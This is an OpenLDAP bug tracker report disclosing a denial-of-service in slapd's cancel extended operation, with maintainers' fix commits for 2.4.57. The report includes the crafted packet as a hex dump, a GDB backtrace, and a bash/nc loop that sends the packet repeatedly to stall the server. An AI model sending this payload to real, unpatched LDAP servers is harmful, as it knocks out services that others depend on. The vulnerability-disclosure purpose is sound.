# Issue 9428 - DoS due to infinite packet processing in slapd

| | | | |
|---|---|---|---|
| **Status:** | VERIFIED FIXED | **Reported:** | 2020-12-20 21:07 UTC by phasip |
| **Alias:** | None | **Modified:** | 2021-09-11 10:15 UTC (History) |
| **Product:** | OpenLDAP | **CC List:** | 0 users |
| **Component:** | slapd (show other issues) | **See Also:** | |
| **Version:** | unspecified | | |
| **Hardware:** | All All | | |
| **Importance:** | --- normal | | |
| **Target Milestone:** | 2.4.57 | | |
| **Assignee:** | OpenLDAP project | | |
| **URL:** | | | |
| **Keywords:** | | | |
| **Depends on:** | | | |
| **Blocks:** | | | |

**Attachments**

Add an attachment (proposed patch, testcase, etc.)

Note

You need to log in before you can comment on or make changes to this issue.

**phasip** **2020-12-20 21:07:08 UTC** Description

```
Processing of a packet results in the command handling thread becomming stuck in an
infinite loop.
After sending 32 of theese slapd doesn't respond to any new queries and consumes
100% cpu

Packet
    00000000: 3036 0200 7730 300b 312e 332e 362e 312e  06..w00.1.3.6.1.
    00000010: 312e 3881 1030 0130 0030 3030 3030 3030  1.8..0.0.0000000
    00000020: 3030 3030 3030 0030 3030 3030 3030 3030  000000.000000000
    00000030: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
    00000040: 30                                       0


GDB backtrace
    (gdb) thread 3
    [Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))]
    #0  0x00007ffff7eb489b in sched_yield ()
        at ../sysdeps/unix/syscall-template.S:78
    78  ../sysdeps/unix/syscall-template.S: No such file or directory.
    (gdb) bt
    #0  0x00007ffff7eb489b in sched_yield ()
        at ../sysdeps/unix/syscall-template.S:78
    #1  0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249
    #2  0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized out>)
        at cancel.c:143
    #3  0x00005555555b449a in fe_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80)
        at extended.c:225
    #4  0x00005555555b41c2 in do_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80)
        at extended.c:175
    #5  0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0,
        arg_v=0x7fff7c001160) at connection.c:1163
    #6  0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xc)
        at connection.c:1314
    #7  0x0000555555671080 in ldap_int_thread_pool_wrapper (xpool=0x555555799240)
        at tpool.c:1051
    #8  0x00007ffff7faa609 in start_thread (arg=<optimized out>)
        at pthread_create.c:477
    #9  0x00007ffff7ed1293 in clone ()
        at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95

Testing:
    docker run --privileged -it --net=host --entrypoint gdb phasip/openldap
/openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run'
    for i in {1..32}; do echo -en
'\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\
| timeout 1 nc localhost 1389 & done
```

**Howard Chu** **2020-12-20 21:32:45 UTC** Comment 1

```
fixed in master
```

**Quanah Gibson-Mount** **2020-12-21 16:33:24 UTC** Comment 2

```
trunk:


  • dfe1f649
```

by Howard Chu at 2020-12-20T21:31:15+00:00
ITS#9428 fix cancel exop

**Quanah Gibson-Mount** **2020-12-21 16:33:41 UTC** Comment 3

RE24:

- 9d0e8485

by Howard Chu at 2020-12-21T16:05:12+00:00
ITS#9428 fix cancel exop

Format For Printing - XML - Clone This Issue - Top of page